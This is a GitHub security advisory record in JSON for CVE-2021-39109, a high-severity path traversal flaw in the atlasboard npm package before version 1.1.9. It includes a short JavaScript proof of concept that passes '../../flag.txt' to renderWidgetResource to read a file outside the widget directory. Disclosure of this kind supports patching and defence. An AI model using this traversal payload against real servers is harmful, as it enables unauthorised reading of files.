{"id":"GHSA-25pr-6pr6-68v7","summary":"Path traversal in atlasboard","details":"The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.\n\n### PoC\n```javascript\nconst widget = require(\\\"atlasboard/lib/webapp/routes/widget\\\");\n\n// Mock req and res\nconst req = {};\nconst res = {\n  sendFile: (filePath) =\u003e {\n    // Read and return file contents synchronously\n    const data = fs.readFileSync(filePath, \\\"utf8\\\");\n    console.log(\\\"Contents of /flag.txt:\\\");\n    console.log(data);\n  },\n  status: function (code) {\n    this.statusCode = code;\n    return this;\n  },\n  send: function (msg) {\n    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);\n  },\n};\n\n// localPackagesPath set to root to allow traversal to /flag.txt\nconst localPackagesPath = \\\"/\\\";\n\n// resource string with path traversal to escape localPackagesPath and widgets directory\nconst resource = \\\"../../flag.txt\\\";\n\n// Call vulnerable function\nawait widget.renderWidgetResource(localPackagesPath, resource, req, res);\n```","aliases":["CVE-2021-39109"],"modified":"2025-09-29T16:41:02Z","published":"2021-09-02T17:17:25Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2021-09-02T16:35:00Z","nvd_published_at":"2021-09-01T06:15:00Z","cwe_ids":["CWE-22"],"severity":"HIGH"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-39109"},{"type":"WEB","url":"https://arxiv.org/abs/2506.04962"},{"type":"WEB","url":"https://arxiv.org/pdf/2506.04962"},{"type":"WEB","url":"https://bitbucket.org/atlassian/atlasboard/commits/9c03df09f09399e2601010466e8ba3a28236eb9c"},{"type":"WEB","url":"https://bitbucket.org/atlassian/atlasboard/pull-requests/91/buildeng-19379-apply-only-the-path"},{"type":"WEB","url":"https://bitbucket.org/atlassian/atlasboard/src/master"}],"affected":[{"package":{"name":"atlasboard","ecosystem":"npm","purl":"pkg:npm/atlasboard"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-25pr-6pr6-68v7/GHSA-25pr-6pr6-68v7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}